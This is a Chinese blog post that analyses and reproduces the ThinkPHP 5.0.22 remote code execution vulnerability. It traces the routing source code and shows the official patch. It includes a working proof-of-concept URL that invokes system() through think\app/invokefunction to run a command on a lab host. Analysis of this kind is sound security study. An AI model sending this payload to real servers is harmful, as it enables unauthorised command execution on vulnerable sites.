st404

导航

thinkphp5.0.22远程代码执行漏洞分析及复现

  虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象;我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同的。本文分析5.0.22版本的远程代码执行漏洞,分析过程如下:

  (1)漏洞复现

  环境php5.5.38+apache。

  POC:http://172.19.77.44/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  

  (2)漏洞分析

  看下应用入口文件.\thinkphp_5.0.22_with_extend\public\index.php

1 // 定义应用目录
2 define('APP_PATH', __DIR__ . '/../application/');
3 // 加载框架引导文件
4 require __DIR__ . '/../thinkphp/start.php';

  跟进/../thinkphp/start.php

1 namespace think;
2 
3 // ThinkPHP 引导文件
4 // 1. 加载基础文件
5 require __DIR__ . '/base.php';
6 
7 // 2. 执行应用
8 App::run()->send();

  第8行中的App::run相当于think/App:run,跟进.\thinkphp_5.0.22_with_extend\thinkphp\library\think\App.php的run函数

 1     public static function run(Request $request = null)
 2     {
 3 
 4         $request = is_null($request) ? Request::instance() : $request;
 5 
 6         try {
 7             $config = self::initCommon();
 8 
 9             // 模块/控制器绑定
10             if (defined('BIND_MODULE')) {
11                 BIND_MODULE && Route::bind(BIND_MODULE);
12             } elseif ($config['auto_bind_module']) {
13 .........................

  此时进入run函数,因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数,关键代码如下:

 1             // 监听 app_dispatch
 2             Hook::listen('app_dispatch', self::$dispatch);
 3             // 获取应用调度信息
 4             $dispatch = self::$dispatch;
 5 
 6             // 未设置调度信息则进行 URL 路由检测
 7             if (empty($dispatch)) {
 8                 $dispatch = self::routeCheck($request, $config);
 9             }
10             //var_dump($dispatch['module']);

  

  因上述代码中的第7行的变量$dispatch为空,所以进入第8行的routeCheck函数,跟入到此函数,关键代码如下:

 1     public static function routeCheck($request, array $config)
 2     {
 3         $path   = $request->path();
 4         $depr   = $config['pathinfo_depr'];
 5         $result = false;
 6 
 7         // 路由检测
 8         $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
 9         if ($check) {
10             // 开启路由
11             if (is_file(RUNTIME_PATH . 'route.php')) {
12                 // 读取路由缓存
13                 $rules = include RUNTIME_PATH . 'route.php';
14                 is_array($rules) && Route::rules($rules);

        

  上述代码中第3行代码得到POC中的路径,路径变量$path为index/think\app/invokefunction,POC中剩余变量存储在$_GET中,继续往下跟routeCheck函数,关键代码如下:

 1             // 路由检测(根据路由定义返回不同的URL调度)
 2             $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
 3             $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
 4 
 5             if ($must && false === $result) {
 6                 // 路由无效
 7                 throw new RouteNotFoundException();
 8             }
 9         }
10 
11         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
12         if (false === $result) {
13             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
14         }
15 //      var_dump($result['module']);
16         return $result;
17     }
18 
19     /**

  上述代码中因变量$result为假,所以会进入第13行代码的Route::parseUrl函数,此函数用来解析变量$path(index/think\app/invokefunction),跟进到此函数,关键代码如下:

 1     public static function parseUrl($url, $depr = '/', $autoSearch = false)
 2     {
 3 
 4         if (isset(self::$bind['module'])) {
 5             $bind = str_replace('/', $depr, self::$bind['module']);
 6             // 如果有模块/控制器绑定
 7             $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
 8         }
 9         $url              = str_replace($depr, '|', $url);
10         list($path, $var) = self::parseUrlPath($url);
11         $route            = [null, null, null];
12         if (isset($path)) {
13             // 解析模块
14             $module = Config::get('app_multi_module') ? array_shift($path) : null;
15             if ($autoSearch) {
16                 // 自动搜索控制器

   

  上述代码的第9行会将变量$url中的符号'/'替换为'|',接着会进入第10行的parseUrlPath函数,关键代码如下:

 1     private static function parseUrlPath($url)
 2     {
 3         // 分隔符替换 确保路由定义使用统一的分隔符
 4         $url = str_replace('|', '/', $url);
 5         $url = trim($url, '/');
 6         $var = [];
 7         if (false !== strpos($url, '?')) {
 8             // [模块/控制器/操作?]参数1=值1&参数2=值2...
 9             $info = parse_url($url);
10             $path = explode('/', $info['path']);
11             parse_str($info['query'], $var);
12         } elseif (strpos($url, '/')) {
13             // [模块/控制器/操作]
14             $path = explode('/', $url);
15         } else {
16             $path = [$url];
17         }
18         return [$path, $var];
19     }

  跟到上述代码中的第13行,它会将变量$url变为数组,此时$path数组的值为如下图所示

  

  此时重新返回到parseUrl函数,继续往下跟,跟到解析控制器部分,关键代码如下:

 1             } else {
 2                 // 解析控制器
 3                 $controller = !empty($path) ? array_shift($path) : null;
 4             }
 5             // 解析操作
 6             $action = !empty($path) ? array_shift($path) : null;
 7             // 解析额外参数
 8             self::parseUrlParams(empty($path) ? '' : implode('|', $path));
 9             // 封装路由
10             $route = [$module, $controller, $action];
11             // 检查地址是否被定义过路由
12             $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
13             $name2 = '';
14             if (empty($module) || isset($bind) && $module == $bind) {
15                 $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
16             }
17 
18             if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
19                 throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
20             }
21         }
22         return ['type' => 'module', 'module' => $route];

  

  上述代码中第3行、第6行会得到控制器和操作方法等,然后会封装路由,数组变量$route如下图所示:

  

  上述代码中第22行代码后会以数组的形式返回到routeCheck函数,关键代码如下:

1         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
2         if (false === $result) {
3             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
4         }
5 //      var_dump($result['module']);
6         return $result;
7     }

  上述代码中由第3行的数组变量$result接受返回的数据,第6行再将数组变量$result结果返回到run函数中,关键代码如下:

 1            if (empty($dispatch)) {
 2                 $dispatch = self::routeCheck($request, $config);
 3             }
 4             //var_dump($dispatch['module']);
 5             // 记录当前调度信息
 6             $request->dispatch($dispatch);
 7 
 8             // 记录路由和请求信息
 9             if (self::$debug) {
10                 Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
11                 Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
12                 Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
13             }
14 
15             // 监听 app_begin
16             Hook::listen('app_begin', $dispatch);
17 
18             // 请求缓存检查
19             $request->cache(
20                 $config['request_cache'],
21                 $config['request_cache_expire'],
22                 $config['request_cache_except']
23             );
24 
25             $data = self::exec($dispatch, $config);
26         } catch (HttpResponseException $exception) {
27             $data = $exception->getResponse();
28         }

  上述代码中第2行的变量$dispatch接受返回的数组变量$result的值,$dispatch结果如下图所示:

          

   继续跟到上述代码中的第25行的exec函数,它是用来做执行操作的,关键代码如下:

 1     protected static function exec($dispatch, $config)
 2     {
 3         switch ($dispatch['type']) {
 4             case 'redirect': // 重定向跳转
 5                 $data = Response::create($dispatch['url'], 'redirect')
 6                     ->code($dispatch['status']);
 7                 break;
 8             case 'module': // 模块/控制器/操作
 9                 $data = self::module(
10                     $dispatch['module'],
11                     $config,
12                     isset($dispatch['convert']) ? $dispatch['convert'] : null
13                 );

  上述代码中因第3行的$dispatch['type']为module,所以会跳到第8行,跟进module函数,关键代码如下:

1     public static function module($result, $config, $convert = null)
2     {
3         if (is_string($result)) {
4             $result = explode('/', $result);
5         }
6 
7         $request = Request::instance();
8 
9         if ($config['app_multi_module']) {

  上述代码中数组变量$result的值如下图所示:

  

  继续跟进module函数,关键代码如下:

 1         // 是否自动转换控制器和操作名
 2         $convert = is_bool($convert) ? $convert : $config['url_convert'];
 3 
 4         // 获取控制器名
 5         $controller = strip_tags($result[1] ?: $config['default_controller']);
      //官方给的补丁位置
          if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
          }
6 $controller = $convert ? strtolower($controller) : $controller; 7 8 // 获取操作名 9 $actionName = strip_tags($result[2] ?: $config['default_action']); 10 if (!empty($config['action_convert'])) { 11 $actionName = Loader::parseName($actionName, 1); 12 } else { 13 $actionName = $convert ? strtolower($actionName) : $actionName; 14 }

  其中第5行的变量$controller代表控制器名,它就是数组变量$result的第二个元素的值(think\app),上述代码中标红部分正是官方给出的补丁,它对控制器名加了一个验证。继续往下跟,关键代码如下:

 

1             $actionName = $convert ? strtolower($actionName) : $actionName;
2         }
3 
4         // 设置当前请求的控制器、操作
5         $request->controller(Loader::parseName($controller, 1))->action($actionName);
6 
7         // 监听module_init
8         Hook::listen('module_init', $request);

  

  上述代码第5行会设置请求的控制器和操作,操作名变量$actionName为invokefunction,继续往下跟module函数,关键代码如下:

 1         $vars = [];
 2         if (is_callable([$instance, $action])) {
 3             // 执行操作方法
 4             $call = [$instance, $action];
 5             // 严格获取当前操作方法名
 6             $reflect    = new \ReflectionMethod($instance, $action);
 7             $methodName = $reflect->getName();
 8             $suffix     = $config['action_suffix'];
 9             $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
10             $request->action($actionName);
11 
12         } elseif (is_callable([$instance, '_empty'])) {

  

  上述代码中的第2行is_callable因验证think\app中存在invokefunction方法,所以会进入到这个if语句,第6行代码会获取类名和方法名,继续跟到module函数末尾,代码如下:

1         }
2 
3         Hook::listen('action_begin', $call);
4 
5         return self::invokeMethod($call, $vars);
6     }

  上述代码的第5行会调用invokeMethod函数,变量$var为空,变量$call的值如下图所示:

  

  跟入invokeMethod函数,关键代码如下:

 1     public static function invokeMethod($method, $vars = [])
 2     {
 3         if (is_array($method)) {
 4             $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
 5             $reflect = new \ReflectionMethod($class, $method[1]);
 6         } else {
 7             // 静态方法
 8             $reflect = new \ReflectionMethod($method);
 9         }
10 
11         $args = self::bindParams($reflect, $vars);
12 
13         self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
14 
15         return $reflect->invokeArgs(isset($class) ? $class : null, $args);
16     }

  上述代码的第11行数组变量$args会获取POC中的余下的参数function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,结果如下图所示:

  

  上述代码中的第15行会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。此时会返回到exec函数,关键代码如下:

 1     protected static function exec($dispatch, $config)
 2     {
 3         switch ($dispatch['type']) {
 4             case 'redirect': // 重定向跳转
 5                 $data = Response::create($dispatch['url'], 'redirect')
 6                     ->code($dispatch['status']);
 7                 break;
 8             case 'module': // 模块/控制器/操作
 9                 $data = self::module(
10                     $dispatch['module'],
11                     $config,
12                     isset($dispatch['convert']) ? $dispatch['convert'] : null
13                 );
14                 break;
15             case 'controller': // 执行控制器操作

  上述代码中的第5行的变量$data会接受最后的执行数据的值,结果如下图所示,看以看到命令已经执行成功了。

  

  (3)小结

  后面的执行细节就不跟了,以上就是版本5.0.22漏洞的分析过程,此漏洞产生的关键原因在routeCheck函数中,关键代码如下:

1         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
2         if (false === $result) {
3             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
4         }
5 //      var_dump($result['module']);
6         return $result;
7     }

  上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况,$result的值为如下如所示:

  

  最终导致传入exec函数的控制器为think\app,而最后通过$reflect->invokeArgs(isset($class) ? $class : null, $args)来解析类和参数,从而导致命令执行漏洞。

  正在学习中,分析不当之处还请指正。

posted on 2019-01-12 09:18  st404  阅读(8863)  评论(0编辑  收藏  举报